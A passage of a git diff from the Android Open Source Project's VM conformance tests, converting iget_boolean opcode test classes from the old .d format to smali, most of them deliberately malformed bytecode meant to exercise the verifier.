+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_16.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_16;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-boolean v0, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_16;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_17.d
deleted file mode 100644
index 499c796..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_17.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_17
-.super java/lang/Object
-
-.field public  i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-boolean v0, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_17.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_17.smali
new file mode 100644
index 0000000..bc997e3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_17.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_17;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-boolean v0, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_17;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_18.d
deleted file mode 100644
index ab97074..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_18.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_18
-.super java/lang/Object
-
-.field public  i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-boolean v0, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_18.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_18.smali
new file mode 100644
index 0000000..5922b90
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_18.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_18;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-boolean v0, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_18;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_19.d
deleted file mode 100644
index 2909f36..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_19.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_19
-.super java/lang/Object
-
-.field public  i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-boolean v0, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_19.i1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_19.smali
new file mode 100644
index 0000000..1838cc8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_19.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_19;
+.super  Ljava/lang/Object;
+
+.field public  i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-boolean v0, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_19;->i1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_20.d
deleted file mode 100644
index e37f360..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_20.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_20
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-boolean v0, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_20.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_20.smali
new file mode 100644
index 0000000..2487c9b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_20.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_20;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-boolean v0, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_20;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_21.d
deleted file mode 100644
index c59f39d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_21.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_21.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_21
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iget_boolean/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget_boolean/TestStubs/<init>()V
-
-       iget-boolean v1, v0, dot.junit.opcodes.iget_boolean.TestStubs.TestStubProtectedField Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_21.smali
new file mode 100644
index 0000000..2eb6bb5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_21.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_21.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_boolean/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_boolean/TestStubs;-><init>()V
+
+       iget-boolean v1, v0, Ldot/junit/opcodes/iget_boolean/TestStubs;->TestStubProtectedField:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_3.d
deleted file mode 100644
index 7b6f6f0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_3.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_3
-.super java/lang/Object
-
-.field public  i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-boolean v3, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_3.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_3.smali
new file mode 100644
index 0000000..bb6f797
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_3.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_3;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-boolean v3, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_3;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_30.d
deleted file mode 100644
index 9f30d4d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_30.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_30.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_30
-.super java/lang/Object
-
-.field public  st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iget_boolean/d/T_iget_boolean_30
-    iget-boolean v1, v0, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_30.st_i1 Z
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_30.smali
new file mode 100644
index 0000000..4957b23
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_30.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_30.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_30;
+    iget-boolean v1, v0, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_30;->st_i1:Z
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_31.d
deleted file mode 100644
index ade9e7b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_31.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_31.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_31
-.super java/lang/Object
-
-.field public  st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-    iget v0, v0, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_31.st_i1 Z
-    return v0
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_31.smali
new file mode 100644
index 0000000..662fc71
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_31.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_31.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+    iget v0, v0, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_31;->st_i1:Z
+    return v0
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_35.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_35.d
deleted file mode 100644
index babcc08..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_35.d
+++ /dev/null
@@ -1,31 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_35.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_35
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 2
-       iget-boolean v0, v1, dot.junit.opcodes.iget_boolean.TestStubs.TestStubProtectedField Z
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_35.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_35.smali
new file mode 100644
index 0000000..2b31401
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_35.smali
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_35.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_35;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 2
+       iget-boolean v0, v1, Ldot/junit/opcodes/iget_boolean/TestStubs;->TestStubProtectedField:Z
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_4.d
deleted file mode 100644
index 56747b1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_4.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_4
-.super java/lang/Object
-
-.field public  i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       iget-boolean v1, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_4.i1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_4.smali
new file mode 100644
index 0000000..7f29e80
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_4.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_4;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       iget-boolean v1, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_4;->i1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_5.d
deleted file mode 100644
index f9bf929..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_5.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_5
-.super java/lang/Object
-
-.field public static i1 Z
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       iget-boolean v1, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_5.i1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_5.smali
new file mode 100644
index 0000000..d817a56
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
